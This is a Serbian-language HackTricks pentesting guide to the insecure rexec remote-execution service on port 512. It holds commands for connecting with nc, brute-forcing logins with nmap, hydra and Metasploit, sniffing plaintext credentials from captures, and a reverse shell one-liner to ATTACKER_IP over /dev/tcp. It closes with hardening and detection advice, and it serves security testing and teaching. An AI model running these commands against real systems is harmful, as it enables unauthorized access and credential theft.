512 - Pentesting Rexec

Reading time: 5 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

Rexec (remote exec) je jedan od originalnih Berkeley r-servisa (zajedno sa rlogin, rsh, …). Omogućava daljinsko izvršavanje komandi autentifikovano samo sa korisničkim imenom i lozinkom u čistom tekstu. Protokol je definisan početkom 1980-ih (vidi RFC 1060) i danas se smatra nesigurnim po dizajnu. Ipak, još uvek je podrazumevano omogućen u nekim nasleđenim UNIX / mrežno povezanim uređajima i povremeno se pojavljuje tokom internih pentestova.

Podrazumevani port: TCP 512 (exec)

PORT    STATE SERVICE
512/tcp open  exec

🔥 Sav saobraćaj – uključujući akreditive – se prenosi nekriptovano. Svako ko ima mogućnost da prisluškuje mrežu može da povrati korisničko ime, lozinku i komandu.

Brzi pregled protokola

  1. Klijent se povezuje na TCP 512.
  2. Klijent šalje tri NUL-terminirane stringa:
  • broj porta (kao ASCII) na kojem želi da primi stdout/stderr (često 0),
  • korisničko ime,
  • lozinku.
  1. Poslednji NUL-terminirani string sa komandom koja treba da se izvrši se šalje.
  2. Server odgovara sa jednim 8-bitnim statusnim bajtom (0 = uspeh, 1 = neuspeh) praćenim izlazom komande.

To znači da možete ponoviti razmenu sa samo echo -e i nc:

bash
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512

Ako su akreditivi validni, dobićete izlaz id odmah nazad na istoj vezi.

Ručna upotreba sa klijentom

Mnoge Linux distribucije još uvek isporučuju legacijski klijent unutar paketa inetutils-rexec / rsh-client:

bash
rexec -l user -p password <target> "uname -a"

Ako je -p izostavljen, klijent će interaktivno tražiti lozinku (vidljivu na mreži u čistom tekstu!).


Enumeracija i Brute-forcing

Brute-force

Nmap

bash
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration

nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>

rexec-brute NSE koristi protokol opisan iznad da brzo proba kredencijale.

Hydra / Medusa / Ncrack

bash
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8

hydra ima posvećen rexec modul i ostaje najbrži offline bruteforcer. medusa (-M REXEC) i ncrack (rexec modul) mogu se koristiti na isti način.

Metasploit

use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

Modul će pokrenuti shell nakon uspeha i sačuvati kredencijale u bazi podataka.


Snimanje kredencijala

Pošto je sve u čistom tekstu, snimci mreže su neprocenjivi. Sa kopijom saobraćaja možete izvući kredencijale bez dodirivanja mete:

bash
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}'  # username:password -> command

(In Wireshark omogućite Decode As …​ TCP 512 → REXEC da biste videli lepo analizirana polja.)


Saveti nakon eksploatacije

  • Komande se izvršavaju sa privilegijama datog korisnika. Ako je /etc/pam.d/rexec pogrešno konfiguran (npr. pam_rootok), root ljuske su ponekad moguće.
  • Rexec ignoriše korisničku ljusku i izvršava komandu putem /bin/sh -c <cmd>. Stoga možete koristiti tipične trikove za bekstvo iz ljuske (;, $( ), backticks) da povežete više komandi ili pokrenete obrnute ljuske:
bash
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
  • Lozinke se često čuvaju u ~/.netrc na drugim sistemima; ako kompromitujete jedan host, možete ih ponovo koristiti za lateralno kretanje.

Ojačavanje / Detekcija

  • Ne izlažite rexec; zamenite ga sa SSH. Virtuelno svi moderni inetd superserveri podrazumevano komentarišu ovu uslugu.
  • Ako ga morate zadržati, ograničite pristup pomoću TCP wrapper-a (/etc/hosts.allow) ili pravila vatrozida i primenite jake lozinke po nalogu.
  • Pratite saobraćaj ka :512 i pokretanje rexecd procesa. Jedan paketni snimak je dovoljan da otkrije kompromitaciju.
  • Onemogućite rexec, rlogin, rsh zajedno – dele većinu istog koda i slabosti.

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks